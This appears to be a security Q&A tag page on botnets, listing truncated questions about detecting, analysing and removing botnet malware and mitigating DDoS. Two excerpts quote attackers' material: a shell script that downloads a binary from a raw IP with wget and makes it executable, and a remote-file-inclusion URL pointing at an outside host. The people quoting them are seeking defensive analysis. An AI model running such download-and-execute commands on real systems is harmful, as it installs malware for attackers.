A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

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Attack using weird characters followed by some javascript in a URL?

I'm seeing a very weird attack this morning from a pile of VPS instances spread out across the US. The URLs look like this: /js/bundles/,!0):this.element.propAttr( ...
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Can a botnet be used to effectively break encryption keys?

Can a botnet amass and coordinate enough computing power to break encryption keys that are typically considered to be secure (through brute force)? If this is the case, do we need to make our ...
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distinguish between bots and legitimate clients [closed]

If an attack (DoS & DDoS) involves thousands of bots, how can the server distinguish them from legitimate clients?
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Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
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Is there any defense against Brute-Force done on a local encrypted file?

Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions. So, I've discovered ...
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botnets Domain names List [closed]

how I can obtain the latest list of the latest revealed botnets domain list I am looking for the DGA-based botnet in particular I want to collect 1000,000 generated domain list to seed them to my ...
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How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
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What are the zombie's features under the control of hackers? [closed]

Zombies are used to to trigger denial of service attacks, spamming and so on. I wonder what type of control the miscreants use to control a remote computer using a virus/trojan ?I ask this question in ...
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How do botnets deliver spam? [closed]

I can't seem to find the answer to this question. I read that botnet bots are used as email relays (they have smtp servers installed). Wikipedia on Open mail relay: "(...)Internet initiatives to ...
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Malicious capabilities of Social Botnets

A fairly new concept in Malware, especially in the case of botnets, is the emergence of social botnets. These botnets are comprised of accounts (either a newly created account or an existing hijacked ...
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How to detect the so-called “undetectable” Gameover Zeus?

The media are currently (and have been) creating a huge ruckus surrounding the supposedly "undetectable" Gameover Zeus malware. The Daily Mail The Mirror The Independant PC World The Telegraph ...
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compromising DVRs to become bitcoin mining bot [duplicate]

I read this article, about an exploit which highjacks a DVR to become a "bitcoin mining bot". The heart of the attack is to send a binary using just echo comands to the device, which acts as a ...
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I have discovered a botnet during testing [closed]

Whilst testing a server I discovered a botnet. I have the executable downloaded to the server and decompiled the file to get the strings from it. My question is what would the next logical step be ...
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Botnet fingerprinting

Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are ...
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What are the fields needed to check for SQLI, XSS, XSRF and Remote file inclusion attacks in apache access log file [duplicate]

I need to identify the SQLI, DoS, XSS attacks from log file. At which field these attacks will reflect in log file. Please suggest me some idea and send materials to me.
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How do bots communicate in the zeus botnet?

I read on http://www.abuse.ch/?p=3499 that: ZeuS is now using an “IP list” which contains the IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded ...
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How to identify and analyze malware that checks for security tools before running?

I've been reading about the ZeroAccess and looking into some bot's code source* and I found this piece of code which checks if filemon is running in the infected computer before running the bot. ...
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What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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Would using Google reCAPTCHA allow Google to cheat?

Wanting to go a step further into reducing the attacking surface from my "register new user" form I think on using reCAPTCHA (the one Google offers). Having bots sorted out from being able to ...
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How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
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What could be the reason for the high traffic on the local network? [closed]

In our small company we have very high traffic outbound from local network to server which is getting blocked, and slow downs our server respond time. Especially at night. I am not security ...
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What are spambots doing with unintelligible login attempts?

After constantly being under attack in phpBB, I created a new forum by hand, which successfully prevents spam bots from registering, and I get a report for every failed login attempt, telling me the ...
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Zeus for iOS devices

Is there a known variant of Zeus which attacks iOS based mobile devices? I have read about versions for Android and Symbian , wondering if iOS is vulnerable to it as well.
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I got a python script decrypted out of a pcap from a botnet [closed]

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords. What does this script do? ...
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After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
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Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
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Botnet callback patterns

I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic? ...
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finding bot generated traffic through object requested behavior

I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I ...
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How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
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Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
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Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
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What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
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How does the Mega-D BotNet send spam?

I have just been reading an report that analyzed the Mega-D Botnet, but what I haven't fully understood is how they are used to send spam? What email address is the mail sent from? Does each bot ...
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What are other channels Botnets can use for command and control except IRC

What command and control channels might a botnet use? Which would be most effective? I found good info on IRC, what are other possibilities? (Exam preparation - no harm intended :-) )
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How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
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Can botnets be injected through open wifi to smartphones?

I have read this paper, which is answers part of the question. It answers, 'open wifi will help increase the spread speed and impact' but what I want to know is, can you 'plant' an open wifi access ...
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How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
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Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
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Botnet Attempting to Login to Website

Our server has recently become a target of what appears to be a botnet attack. The first indication was an insane amount of traffic to one of our client's websites - so heavy that the server entirely ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
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I managed to capture a botnet control host, what do I do with it?

A few days ago one of my webhosting customers had their FTP login compromised, and the attacker modified his index.php file to include some extra code, and roughly twelve thousand other bots have been ...
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how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
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How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
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Bot detecting by considering request inter-arrival time

If there are some chances to detect a bot by considering the users page viewing time, is it possible to measure this time? When a user request for a page (page request), browser request for several ...
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How similar are bots regarding their HTTP GET request?

Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
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How do you search for a botnet out in the wild?

I'm interested in searching for botnets out in the wild. Besides Google dorking for a phrase or code used on the control panel backend for web based interfaces. What other ways are there to search for ...
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What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
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Are there any known botnets targetting smartphones?

Are there any known botnets that specifically target smartphones? What is their topology and how are they controlled? What are they used for?
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Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots